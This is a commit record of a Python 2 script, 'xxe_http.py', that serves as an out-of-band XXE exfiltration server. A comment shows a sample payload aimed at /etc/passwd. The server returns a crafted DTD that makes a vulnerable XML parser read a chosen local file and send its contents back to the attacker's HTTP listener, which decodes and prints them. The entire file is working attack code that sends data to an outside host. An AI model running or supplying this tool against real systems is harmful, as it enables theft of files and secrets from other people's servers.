new_contents: #!/usr/bin/env python
  import SimpleHTTPServer
  import SocketServer
  import sys
  import urllib
  from optparse import OptionParser
  
  
  # payload will look something like this
  # where [ip] and [port] are ones accessible to the remote server where this runs
  # /etc/passwd is the remote file to retrieve
  '''
  <?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY ><!ENTITY % xa SYSTEM "http://[ip]:[port]/etc/passwd"> %xa; %xb; ]>
  <foo>&external;</foo>
  '''
  
  response_template = '''<!ENTITY % payload SYSTEM "file://[FN]"><!ENTITY % xb "<!ENTITY external SYSTEM '[PROT]://[IP]:[PORT]/?a=%payload;'>">'''
  
  
  class ThreadedTCPServer(SocketServer.ThreadingTCPServer):
      pass
  
  
  class ServerHandler(SimpleHTTPServer.SimpleHTTPRequestHandler):
  
  
      def do_GET(self):
          if self.server.debug:
              print self.headers
  
          self.send_response(200)
          self.wfile.write('\r\n')
          # we parse the request that contains the file contents
          if self.server.parseNext:
              self.server.parseNext = False
              self.wfile.write('Content to return') # this will take the place of the &external; entity
              print '\n' + urllib.unquote(self.path.split('a=',1)[-1])
          # we send back the DTD and flick the switch to send back something different on next request
          else:
              self.wfile.write(response_template.replace('[FN]', self.path).replace('[PROT]','http').replace('[IP]',
                  self.server.ip).replace('[PORT]', self.server.port) + '\r\n')
              self.server.parseNext = True
  
  
          self.wfile.write('\r\n')
          self.wfile.flush()
          self.wfile.close()
          return
  
  
  
  if __name__ == '__main__':
      parser = OptionParser(usage='%prog [options] <serverip> <httpport>')
      parser.add_option('-d', '--debug', dest='debug', action='store_true', help='show debugging messages')
      opts, args = parser.parse_args()
  
      if len(args) != 2:
          parser.print_help()
          parser.exit()
      try:
          ip = args[0] # this is the address that is advertised in the generated DTD
          port = int(args[1])
      except ValueError:
          parser.print_help()
          parser.exit()
  
      SocketServer.ThreadingTCPServer.allow_reuse_address = True
      # bind to everything
      httpd = ThreadedTCPServer(("", port), ServerHandler)
      httpd.port = str(port)
      httpd.ip = ip
      httpd.parseNext = False
      httpd.debug = opts.debug or False
  
      print "Serving at: http://%s:%s/" % ('0.0.0.0', str(port))
      httpd.serve_forever()
  
subject: Create xxe_http.py